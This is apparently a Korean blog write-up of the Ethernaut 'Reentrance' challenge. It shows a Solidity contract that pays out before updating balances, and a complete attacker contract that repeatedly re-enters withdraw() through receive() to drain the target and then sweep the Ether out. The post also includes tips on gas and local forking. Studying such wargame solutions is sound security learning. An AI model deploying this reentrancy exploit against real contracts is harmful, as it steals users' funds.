Instance
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
Exploit
withdraw()를 호출해서 본인 컨트랙트의 receive()를 호출하게끔 만들고, 그때 또 instance의 withdraw를 또 호출해서 또 receive 받는... 그렇게 반복해서 돈을 빼가는 컨트랙트를 생성했다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IReentrance{
function donate(address _to) external payable;
function withdraw(uint256 _amount) external;
}
contract exp_reentrant{
IReentrance target=IReentrance(0xE7A5121879cB354268ab01ACEa0f83Dc63c94B80);
function attack() public payable{// 이 함수 호출시엔 0.001이더정도 주기
target.donate{value: msg.value}(address(this));
target.withdraw(msg.value);
}
receive() external payable{
if (address(target).balance>=msg.value){
target.withdraw(msg.value);
}
}
function withdraw() external{
msg.sender.call{value: address(this).balance}("");
}
}
// success (교훈: oog를 피하기 위해 돈은 충분히!)
처음에 attack()을 호출할때 딱 맞는 적은 양의 돈만 줘서 oog 에러가 계속 났는데, 스크립트로 실행한게 아니다 보니까 에러 문구는 안뜨고 트잭은 계속 success해서 이유를 몰라 미치는줄 알았다.
항상 돈도 아끼고 하려면 네트워크를 로컬에서 포크떠서 스크립트를 돌려보자.
'Web3 > Ethernaut' 카테고리의 다른 글
[Ethernaut] Gatekeeper Three 풀이 (0) | 2025.01.18 |
---|---|
[Ethernaut] Double Entrypoint 풀이 (0) | 2025.01.18 |
[Ethernaut] Naught Coin 풀이 (0) | 2025.01.18 |
[Ethernaut] Higher Order 풀이 (0) | 2025.01.18 |
[Ethernaut] Switch 풀이 (0) | 2025.01.18 |
댓글